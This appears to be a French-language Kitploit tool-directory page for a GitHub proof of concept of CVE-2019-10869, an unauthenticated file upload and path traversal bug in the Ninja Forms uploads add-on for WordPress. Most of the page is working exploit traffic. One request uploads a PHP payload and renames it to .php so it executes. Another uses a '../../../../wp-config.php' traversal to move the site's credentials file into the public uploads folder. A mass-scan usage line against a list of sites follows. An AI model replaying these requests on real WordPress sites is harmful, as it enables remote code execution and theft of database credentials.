Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-10869 — (Wordpress) Extension Ninja Forms File Uploads <= 3.0.22 – Téléchargement arbitraire de fichiers non authentifié | Kitploit
Outils/GitHubGitHub/ktn1990/cve-2019-10869
Génération de PayloadsAnalyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'Intrusion
GitHubktn1990/cve-2019-10869

CVE-2019-10869

(Wordpress) Extension Ninja Forms File Uploads <= 3.0.22 – Téléchargement arbitraire de fichiers non authentifié

Voir le dépôt
1662il y a 7 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-10869

(WordPress) Extension de téléchargement de fichiers Ninja Forms <= 3.0.22 – Téléchargement arbitraire de fichiers non authentifié

Description :

Traversée de chemin et téléchargement de fichiers sans restriction existent dans le plugin Ninja Forms avant la version 3.0.23 pour WordPress (lorsque le module complémentaire Uploads est activé). Cela permet à un attaquant de parcourir le système de fichiers pour accéder aux fichiers et exécuter du code via les paramètres name et tmp_name de includes/fields/upload.php (également connu sous le nom de page upload/submit).

POC :

Requête initiale de téléchargement de fichier :

root@kitploit:~
Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522

-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"

1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"

5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"

0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword

<?php phpinfo(); ?>
-----------------------------16345274557837--

Réponse :

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.0 

"data":{  
    "files":[  
       {  
          "name":"test.png.doc",
          "type":"application\/msword",
          "tmp_name":"nftmp-14FpD-test.png.doc",
          "error":0,
          "size":19
       }
    ]
 }

Lorsque le formulaire est soumis, le fichier tmp initialement téléchargé est déplacé vers un nouvel emplacement :

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850

--snip-- 
"5":{  
 "value":1,
 "id":5,
 "files":[  
    {  
       "name":"test.(php)",
       "tmp_name":"nftmp-BNxfG-test.png.doc",
       "fieldID":5
    }
 ]
--snip--

Le paramètre « name » est ensuite « nettoyé » par la fonction WordPress sanitize_file_name, qui se contente essentiellement de supprimer un ensemble de caractères spéciaux prédéfinis :

root@kitploit:~
ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file)); 

sanitize_file_name 
Supprime les caractères spéciaux interdits dans les noms de fichiers  
sur certains systèmes d'exploitation et les caractères spéciaux 
nécessitant un échappement particulier pour être manipulés en ligne de commande. 
Remplace les espaces et les tirets consécutifs par un seul tiret.  
Supprime les points, tirets et underscores au début et à la fin du nom de fichier.  
Il n'est pas garanti que cette fonction retourne un nom de fichier 
autorisé à être téléchargé. 

https://developer.wordpress.org/reference/functions/sanitize_file_name/ 

Cela a pour effet de déplacer le fichier tmp vers son emplacement final : /wp-content/uploads/ninja-forms/1/test.php

Si le dossier de téléchargement n'a pas été rendu explicitement non exécutable, ce qui n'est pas le cas par défaut, cela entraîne une exécution de code :

alt text

Traversée de chemin dans tmp_name :

lors de la soumission du formulaire, il est également possible de parcourir le système de fichiers via le paramètre tmp_name comme indiqué ci-dessous. Gardez à l'esprit que les fichiers tmp sont déplacés vers leur nouvel emplacement dans le dossier uploads !

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850

--snip-- 
"5":{  
 "value":1,
 "id":5,
 "files":[  
    {  
       "name":"test.doc",
       "tmp_name":"../../../../wp-config.php",
       "fieldID":5
    }
 ]
--snip--

Cela a pour effet de déplacer le fichier wp-config.php vers l'emplacement suivant : /wp-content/uploads/ninja-forms/1/test.doc

AUTOSCAN :

root@kitploit:~
USAGE: python script.py list-site.txt
Télécharger l’outil